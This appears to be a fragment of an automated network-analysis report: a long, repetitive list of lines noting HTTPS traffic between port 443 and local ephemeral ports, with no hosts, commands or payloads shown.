Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
